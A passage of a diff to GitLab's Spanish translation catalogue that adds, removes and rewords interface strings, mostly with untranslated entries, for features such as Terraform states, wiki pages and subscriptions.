+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr "Número máximo de puestos utilizados"
msgid "SubscriptionTable|Next invoice"
msgstr "Próxima factura"
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr "Puestos actualmente en uso"
@@ -25800,6 +26360,9 @@ msgstr "Puestos en la suscripción"
msgid "SubscriptionTable|Seats owed"
msgstr "Número máximo de puestos adeudados"
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr "Fecha de finalización de la suscripción"
@@ -25848,6 +26411,9 @@ msgstr "Sustraer"
msgid "Succeeded"
msgstr "Éxito"
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr "Activado correctamente"
@@ -26022,6 +26588,9 @@ msgstr "Sincronizado"
msgid "Synchronization disabled"
msgstr "Sincronización deshabilitada"
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr "Dominio del equipo"
msgid "Telephone number"
msgstr "Número de teléfono"
-msgid "Telephone number (Optional)"
-msgstr "Número de teléfono (opcional)"
-
msgid "Template"
msgstr "Plantilla"
@@ -26232,6 +26798,9 @@ msgstr "Términos del acuerdo de servicio y de la política de privacidad"
msgid "Terms of Service and Privacy Policy"
msgstr "Términos del servicio y política de privacidad"
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr "Se ha producido un error al generar un informe de Terraform."
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr "Se ha generado un informe de Terraform en sus pipelines."
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr "La generación del informe provocó un error."
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr "El informe de Terraform %{name} se generó en sus pipelines."
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr "Probar"
@@ -26280,6 +26873,12 @@ msgstr[1] "Cobertura de la prueba: %d"
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr "Asegúrese de que el proyecto tenga merge requests."
msgid "TestHooks|Ensure the project has notes."
msgstr "Asegúrese de que el proyecto tenga notas."
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr "Asegúrese de que el wiki está habilitado y tiene páginas."
@@ -26432,9 +27037,6 @@ msgstr "El gestor de incidencias es el lugar para agregar cosas que necesitan se
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,12 +27046,12 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr "La URL a utilizar para conectarse a Elasticsearch. Utilice una lista separada por comas para soportar clustering (por ejemplo, \"http://localhost:9200, http://localhost:9201\")."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Un certificado X.509 se utiliza cuando se require una comunicación TLS con un servicio de autorización externo. Si se deja en blanco, el certificado utilizado desde el servidor es validado cuando se accedes a través del protocolo HTTPS."
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
-msgstr ""
-
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
msgstr ""
@@ -26516,9 +27118,6 @@ msgstr "El dominio que ha introducido no está permitido."
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr "El mapa de usuario introducido no es un mapa de usuario JSON válido."
-
msgid "The errors we encountered were:"
msgstr "Los errores que encontramos fueron:"
@@ -26560,6 +27159,9 @@ msgstr "La relación con la bifurcación se ha eliminado."
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr "La invitación se reenvió correctamente."
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "La etapa de incidencia muestra el tiempo que toma desde la creación de un tema hasta asignar el tema a un hito, o añadir el tema a una lista en el panel de temas. Empieza a crear temas para ver los datos de esta etapa."
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr "La etapa de puesta en escena muestra el tiempo entre la fusión y el des
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "La etapa de pruebas muestra el tiempo que GitLab CI toma para ejecutar cada pipeline para la solicitud de fusión relacionada. Los datos se añadirán automáticamente luego de que el primer pipeline termine de ejecutarse."
@@ -26773,8 +27387,8 @@ msgstr "El tiempo utilizado por cada entrada de datos obtenido por esa etapa."
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr "El proceso de actualización finalizará después de %{number_of_minutes} minutos. Para repositorios grandes, utilice una combinación de clone y push."
-msgid "The uploaded file is not a valid Google Takeout archive."
-msgstr "El archivo subido no es un archivo de Google Takeout válido."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
+msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
msgstr ""
@@ -26785,9 +27399,6 @@ msgstr "Se está eliminando el usuario."
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr "Se ha guardado el mapa de usuario. Por favor, continue seleccionando los proyectos que desea importar."
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr "El mapa del usuarios es una asignación de los usuarios de FogBugz que participaron en sus proyectos a la forma en que su dirección de correo electrónico y nombre de usuario se importarán a GitLab. Puede cambiar esto rellenando la tabla a continuación."
@@ -26803,6 +27414,9 @@ msgstr "El valor en el punto medio de una serie de valores observados. Por ejemp
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr "Aún no hay proyectos compartidos con este grupo"
msgid "There are no variables yet."
msgstr "Todavía no hay variables."
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr "Este commit es parte de un merge request %{link_to_merge_request}. Los c
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr "Este commit fue firmado con una firma verificada, y <strong>se ha verificado</strong> que la dirección de correo electrónico del committer y la firma pertenecen al mismo usuario."
-
msgid "This commit was signed with a different user's verified signature."
msgstr "Este commit fue firmado con la firma verificada de un usuario diferente."
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr "Esta commit fue firmado con una firma <strong>no verificada</strong>."
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr "Esta es su sesión actual"
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Este merge request está bloqueado."
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr "Esta página no está disponible porque no se le permite leer la informa
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr "Este tiempo de espera tendrá prioridad cuando sea más bajo que el tiem
msgid "This user cannot be unlocked manually from GitLab"
msgstr "Este usuario no puede ser desbloqueado manualmente desde GitLab"
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr "Este usuario no tiene ningún %{type} activo."
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr "Threat Monitoring"
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr "Tiempo de espera"
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "hr"
@@ -27914,6 +28531,9 @@ msgstr "s"
msgid "Tip:"
msgstr "Sugerencia:"
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr "Título"
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr "Demasiados espacios de nombres habilitados. Necesitará administrarlos a
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "Demasiados proyectos habilitados. Necesitará administrarlos a través de la consola o mediante el API."
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr "Se ha producido un error al conectar a la instancia de Jira. Por favor,
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr "No se puede convertir la codificación de registros de Kubernetes a UTF-8"
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr "No se pueden recuperar proyectos no escaneados"
@@ -28556,8 +29182,8 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
-msgstr "Desbloquear"
+msgid "Unauthenticated request rate limit"
+msgstr ""
msgid "Undo"
msgstr "Deshacer"
@@ -28628,11 +29254,11 @@ msgstr "Desbloqueó la discusión."
msgid "Unlocks the discussion."
msgstr "Desbloquea la discusión."
-msgid "Unmarked this %{noun} as Work In Progress."
-msgstr "Desmarcado este %{noun} como trabajo en progreso."
+msgid "Unmarked this %{noun} as a draft."
+msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
-msgstr "Desmarcar este %{noun} como trabajo en progreso."
+msgid "Unmarks this %{noun} as a draft."
+msgstr ""
msgid "Unreachable"
msgstr "Inalcanzable"
@@ -28826,9 +29452,6 @@ msgstr "Actualice su plan para mejorar los tableros de incidencias."
msgid "Upgrade your plan to improve Merge Requests."
msgstr "Actualice su plan para mejorar los merge requests."
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr "Subir fichero CSV"
@@ -28847,6 +29470,9 @@ msgstr "Suba un certificado para su dominio con todos los certificados intermedi
msgid "Upload a private key for your certificate"
msgstr "Suba una clave privada para su certificado"
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "Subir archivo"
@@ -28883,6 +29509,9 @@ msgstr "Votos positivos"
msgid "Usage"
msgstr "Uso"
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr "|Ilimitado"
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr "Uso"
@@ -29120,6 +29752,12 @@ msgstr "Se ha eliminado el usuario correctamente del proyecto."
msgid "User was successfully updated."
msgstr "Usuario actualizado correctamente."
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr "¿Eliminar %{name}?"
msgid "UserList|created %{timeago}"
msgstr "creado %{timeago}"
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr "Actividad"
@@ -29222,6 +29863,9 @@ msgstr "Proyectos personales"
msgid "UserProfile|Report abuse"
msgstr "Informar de abuso"
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr "Fragmentos de código"
@@ -29252,6 +29896,9 @@ msgstr "Este usuario no ha marcado ningún proyecto como favorito"
msgid "UserProfile|This user is blocked"
msgstr "Este usuario está bloqueado"
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr "Ver todo"
@@ -29288,6 +29935,9 @@ msgstr "El nombre de usuario está disponible."
msgid "Username or email"
msgstr "Nombre de usuario o email"
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr "Usuarios"
@@ -29330,15 +29980,15 @@ msgstr "Ningún asignado - %{openingTag} asignarse a usted mismo %{closingTag}"
msgid "UsersSelect|Unassigned"
msgstr "Sin asignar"
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr "Uso de %{code_start}::%{code_end} denota un %{link_start}con ámbito de etiqueta%{link_end}"
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr "Utilizar la estrategia de cifrado requerida cuando falta el campo cifrado"
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr "Válido desde"
@@ -29408,7 +30058,7 @@ msgstr "Varias opciones de localización."
msgid "Various settings that affect GitLab performance."
msgstr "Varias opciones de configuración que afectan el rendimiento de GitLab."
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr "Ver archivo @ "
msgid "View file @ %{commitSha}"
msgstr "Ver archivo @ %{commitSha}"
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr "Ver el panel de control completo"
@@ -29544,6 +30197,9 @@ msgstr "Ver etiquetas de proyectos"
msgid "View replaced file @ "
msgstr "Ver archivo reemplazado @ "
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr "Ver idiomas y marcos soportados"
@@ -29637,9 +30293,6 @@ msgstr "Revisión"
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr "Vulnerabilidades"
@@ -29745,6 +30398,12 @@ msgstr "%{scannerName} (versión %{scannerVersion})"
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr "Clase"
@@ -29793,10 +30452,7 @@ msgstr "Espacio de nombres"
msgid "Vulnerability|Project"
msgstr "Proyecto"
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr "Severidad"
msgid "Vulnerability|Status"
msgstr "Estado"
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr "Espera a que el archivo se cargue para copiar su contenido"
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr "No es posible determinar la ruta para eliminar esta tarea épica"
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr "¿Qué le describe mejor?"
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr "¿Cuál es su nivel de experiencia?"
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,8 +30796,14 @@ msgstr "¿Quién utilizará esta versión de prueba de GitLab?"
msgid "Wiki"
msgstr "Wiki"
-msgid "Wiki was successfully updated."
-msgstr "El wiki se actualizó correctamente."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
+msgstr ""
msgid "WikiClone|Clone your wiki"
msgstr "Clonar su wiki"
@@ -30278,6 +30958,9 @@ msgstr "Versión de la página"
msgid "Wiki|Pages"
msgstr "Páginas"
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr "Título"
@@ -30359,9 +31042,6 @@ msgstr "Sí, cerrar la incidencia"
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr "Sí, déjenme asignar usuarios de Google Code a nombres completos o usuarios de GitLab."
-
msgid "Yesterday"
msgstr "Ayer"
@@ -30371,6 +31051,9 @@ msgstr "Usted"
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr "No tiene permiso para aprobar a un usuario"
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr "No tiene permiso para desvincular su cuenta principal de inicio de sesión"
@@ -30575,6 +31261,9 @@ msgstr "Puede especificar el nivel de la notificación por grupo o por proyecto.
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr "Puede probar su archivo .gitlab-ci.yml en %{linkStart}CI Lint%{linkEnd}."
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr "No puede acceder al archivo sin formato. Por favor, espere un minuto."
@@ -30617,6 +31306,9 @@ msgstr "No tiene permiso para dejar este %{namespaceType}."
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr "No tiene permiso para ejecutar el terminal web. Por favor, póngase en contacto con un administrador del proyecto."
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr "Necesita especificar un token de acceso como una URL de host."
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr "Es necesario subir un archivo de exportación de proyecto de GitLab (en formato .gz)."
-msgid "You need to upload a Google Takeout archive."
-msgstr "Necesita subir un archivo de Google Takeout."
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr "Recibirás notificaciones solo para los comentarios en los que se te men
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "No podrás actualizar o enviar código al proyecto a través de %{protocol} hasta que %{set_password_link} en tu cuenta"
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "No podrá actualizar o enviar código al proyecto a través de SSH hasta que no agregue una clave SSH a su perfil"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
+msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr "No tiene permiso para realizar cambios directamente en este proyecto. Se
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr "No tiene permiso para realizar cambios directamente en este proyecto. Se ha creado un fork de este proyecto que puede utilizar para realizar los cambios que desee, por lo que puede enviar un merge request."
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr "Solo está viendo %{startTag}otra actividad%{endTag} en el feed. Para agregar un comentario, cambie a una de las siguientes opciones."
-
msgid "You're receiving this email because of your account on %{host}."
msgstr "Está recibiendo este correo electrónico por su cuenta en %{host}."
@@ -30881,6 +31570,9 @@ msgstr "Ha recibido este correo electrónico porque se le ha mencionado en %{hos
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr "Ya ha habilitado la autenticación de dos pasos utilizando una contraseña de un solo uso. Para registrar un dispositivo diferente, primero debe desactivar la autenticación de dos factores."
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr "YouTube"
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr "Este correo electrónico se utilizará para operaciones basadas en la web, como por ejemplo, realizar ediciones y merges."
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr "Sus claves GPG (%{count})"
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr "Su grupo de GitLab"
@@ -31058,6 +31756,9 @@ msgstr "Se están importando sus incidencias. Al finalizar el proceso, recibirá
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr "Sus incidencias serán importados como tarea de fondo. Al finalizar el proceso, recibirá un correo electrónico de confirmación."
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr "Su licencia es válida desde"
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr "Su solicitud de acceso ha sido puesta en cola para su revisión."
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr "Su respuesta ha sido registrada."
@@ -31115,6 +31822,9 @@ msgstr "Su búsqueda no coincide con ningún commit."
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "¡Su suscripción ha caducado!"
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr "Se ha añadido la reunión de Zoom"
@@ -31294,14 +32007,11 @@ msgstr "%{reportType}: La carga finalizó con errores"
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr "(se han producido errores al cargar resultados)"
-
-msgid "ciReport|(is loading)"
-msgstr "(está cargando)"
+msgid "ciReport|: Loading resulted in an error"
+msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
-msgstr "(está cargando, se han producido errores al cargar resultados)"
+msgid "ciReport|API Fuzzing"
+msgstr ""
msgid "ciReport|All projects"
msgstr "Todos los proyectos"
@@ -31467,6 +32177,12 @@ msgstr[1] "Utilizado por %{packagesString} y %{lastPackage}"
msgid "ciReport|View full report"
msgstr "Ver informe completo"
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr "incidencia cerrada"
@@ -31485,9 +32201,6 @@ msgstr "commit %{commit_id}"
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr "conectando"
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr "creado"
msgid "created %{timeAgo}"
msgstr "creado el %{timeAgo}"
-msgid "customize"
-msgstr "personalizar"
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr "no tiene una extensión compatible. Sólo %{extension_list} son compatibles"
-msgid "done"
-msgstr "hecho"
-
msgid "download it"
msgstr "descargarlo"
@@ -31635,6 +32342,9 @@ msgstr "para %{ref}"
msgid "for this project"
msgstr "para este proyecto"
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr "ya ha sido vinculado a otra vulnerabilidad"
msgid "has already been taken"
msgstr "ya está en uso"
+msgid "has been completed."
+msgstr ""
+
msgid "help"
